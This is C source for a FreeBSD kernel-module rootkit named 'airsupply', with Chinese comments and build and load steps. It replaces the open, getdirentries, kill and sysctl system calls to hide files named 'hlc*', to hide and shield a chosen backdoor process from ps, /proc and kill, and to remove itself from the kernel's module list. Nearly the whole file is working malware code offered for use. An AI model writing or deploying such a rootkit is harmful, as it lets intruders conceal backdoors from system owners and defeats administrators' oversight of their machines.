|
/*freebsd的kld就像linux的lkm,能实现很多东西
linux下lkm的backdoor大鹰已经分析的很详悉了.
其实bsd下实现起来也差不多,只是代码的具体实现而已
最近把身心都给了bsd,所以也试着写点东西.把最近的感受
发泄一下撒,基础文章可以看小四的那篇freebsd kld编程指南
或者看/usr/share/examples/kld里面的列子,以及
freebsd的程序员开发手册.在/usr/share/doc/里面.
我的网站上有THC的那篇经典文章.如果要提高的话绝对不能错过.
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
/*这个宏是必需的,在内核空间分配空间必需先定义这个宏*/
MALLOC_DEFINE(M_NEW_SYSCTL,"p_data","struct");
MALLOC_DEFINE(HLC_DIR,"dir","struct");
/*要隐藏的进程名,可以是我们的后门进程拉*/
#define HIDE_PROC "sshd"
#define hidename "hlc"
#define hidelength 3
extern linker_file_list_t linker_files;/*谢谢cloud学长的指点*/
extern struct lock lock;
extern int next_file_id;
static int filehide(char*);
static int prochide(char*);
static void hide_module(void);
static int get_pid(void);
static int new_open(struct proc *,struct open_args *);
static int new_getdirentries(struct proc *,struct getdirentries_args *);
static int new_sysctl(struct proc *p, struct sysctl_args *uap);
static int new_kill(struct proc *p, struct kill_args *uap) ;
/*
*后门module至少要实现隐藏目录,隐藏进程,隐藏网络和隐藏自己
*网络的隐藏还没有作出来,呵呵,学习中,大家稍等
*
*
*
*/
/*返回要隐藏的进程的pid*/
static int get_pid(void)
{
struct proc *p;
p=allproc.lh_first;
for (; p!=0; p=p->p_list.le_next)
{
if (strcmp(p->p_comm, HIDE_PROC)==0)
{
return p->p_pid;
}
}
return -1;
}
/* 隐藏我们的后门模块 */
static void hide_module(void)
{
struct linker_file * lf;
lockmgr(&lock, LK_SHARED, 0, curproc);
(&linker_files)->tqh_first->refs--;
TAILQ_FOREACH(lf, &linker_files, link) {
if (!strcmp(lf->filename, "airsupply.ko")) {
/*把加载的全局link file记数减一*/
next_file_id--;
/* remove the entry*/
TAILQ_REMOVE(&linker_files, lf, link);
break;
}
}
lockmgr(&lock, LK_RELEASE, 0, curproc);
}
/* 是否为要隐藏的文件或目录 */
static int filehide(char *name)
{
char buf[hidelength+1];
bcopy(name,buf,hidelength);
buf[hidelength]='\0';
if(!strcmp(buf,hidename))
return 1;
return 0;
}
/*是否为要隐藏的进程*/
static int prochide(char *name)
{
char hide[255];
sprintf(hide,"%d",get_pid());
if(!strcmp((char*)name,(char*)hide))
return 1;
return 0;
}
/*新的kill的系统调用*/
static int
new_kill(struct proc *p, struct kill_args *uap)
{
if (uap->pid==get_pid())
return ESRCH;
else
return kill(p, uap);
}
/*新的sysctl的系统调用*/
static int
new_sysctl(struct proc *p, struct sysctl_args *uap)
{
int error, i, mib[4];
size_t size, newsize, recsize;
struct kinfo_proc *p_data, *ptr;
error = __sysctl(p,uap);
error = copyin(uap->name, &mib, sizeof(mib));
if (error)
return (error);
/*
如果是用ps pid命令,pid为要隐藏的进程id的话,就返回空
*/
if((mib[2] == KERN_PROC_PID) || (mib[2] == KERN_PROC_ARGS))
{
if(mib[3]==get_pid())
{
size = 0;
copyout(&size,uap->oldlenp, sizeof(size));
return(0);
}
return 0;
}
error = userland_sysctl(p, mib, uap->namelen, uap->old, uap->oldlenp,
0, uap->new, uap->newlen, &size);
if (error && error != ENOMEM)
return (error);
if(!uap->oldlenp)
return(error);
newsize = size;
/*ps命令,隐藏我们的要隐藏的进程*/
if ((uap->old) && (mib[0] == CTL_KERN) && (mib[1] == KERN_PROC))
{
MALLOC(p_data, struct kinfo_proc *, size, M_NEW_SYSCTL, M_NOWAIT);
recsize = sizeof(struct kinfo_proc);
copyin(uap->old,p_data,size);
ptr = p_data;
i=size;
while(i>0)
{
i-=recsize;
if(ptr->kp_proc.p_pid==get_pid()) /*是否为要隐藏的pid*/
{
/*减掉要隐藏的进程信息的size*/
newsize -= sizeof(struct kinfo_proc);
if(i > 0)
/*去掉要隐藏的进程信息*/
bcopy((char *)ptr + recsize, ptr, (i - recsize));
}
if(i > 0)
ptr = (struct kinfo_proc *)((char *)ptr + recsize);
}
/* copy回用户空间 */
copyout(p_data, uap->old, newsize);
FREE(p_data, M_NEW_SYSCTL);
return 0;
}
return 0;
}
/*
*
*
*
*
*
*/
static int new_open(struct proc *p,register struct open_args *uap)
{
char name[256];
size_t size;
if(copyinstr(uap->path,name,256,&size)==EFAULT)
return(EFAULT);
if(filehide(name))
return(ENOENT);
return(open(p,uap));
}
/* 新的getdirentries的系统调用,可以隐藏我们自己的目录和/proc里面的后门进程号 */
static int new_getdirentries(struct proc *p,register struct getdirentries_args *uap)
{
int size,count;
struct dirent *dir,*current;
getdirentries(p,uap);
size=p->p_retval[0];
if(size>0)
{
MALLOC(dir,struct dirent *,size,HLC_DIR,M_NOWAIT);
copyin(uap->buf,dir,size);
current=dir;
count=size;
/*判断目录是否要被隐藏,要得话就把他从目录链表里面摘除,然后copy
回用户空间,这样就实现了隐藏目录*/
while((count>0)&&(current->d_reclen!=0))
{
count-=current->d_reclen;
if(filehide(current->d_name)||prochide(current->d_name))
{
if(count!=0)
{
bcopy((char *)current+current->d_reclen,current,count);
}
size-=current->d_reclen;
}
if(count!=0)
current=(struct dirent *)((char *)current+current->d_reclen);
}
p->p_retval[0]=size;
copyout(dir,uap->buf,size);
free(dir,HLC_DIR);
}
return 0;
}
static struct sysent new_getdir_sysent={
4,
new_getdirentries
};
static struct sysent new_open_sysent={
3,
new_open
};
static struct sysent new_kill_sysent={
2,
new_kill
};
static struct sysent new_sysctl_sysent={
6,
new_sysctl
};
static int load(module_t *module,int cmd,void *arg)
{
int error=0;
switch(cmd)
{
case MOD_LOAD:
{
printf("install kern ok\n");
/*替换系统调用*/
sysent[SYS_open]=new_open_sysent;
sysent[SYS_getdirentries]=new_getdir_sysent;
sysent[SYS_kill]=new_kill_sysent;
sysent[SYS___sysctl]=new_sysctl_sysent;
/*隐藏掉自己*/
hide_module();
printf("begin hide self\n");
break;
}
case MOD_UNLOAD:
{
/*恢复旧的系统调用 */
sysent[SYS_open].sy_call=(sy_call_t *)open;
sysent[SYS_getdirentries].sy_call=(sy_call_t *)getdirentries;
sysent[SYS_kill].sy_call=(sy_call_t *)kill;
sysent[SYS___sysctl].sy_call=(sy_call_t *)__sysctl;
break;
}
default:
{
error=EINVAL;
break;
}
}
return error;
}
static moduledata_t airsupply_mod={
"airsupply",
load,
NULL
};
DECLARE_MODULE(airsupply,airsupply_mod,SI_SUB_DRIVERS,SI_ORDER_MIDDLE);
/*Makefile 如下
SRCS=door.c
KMOD=airsupply
KO=${KMOD}.ko
KLDMOD=t
.include
*/
/*make
* 然后kldload ./airsupply.ko
然后你随便在哪里建一个名为hlc的目录.
然后ls试试看
*/ |
|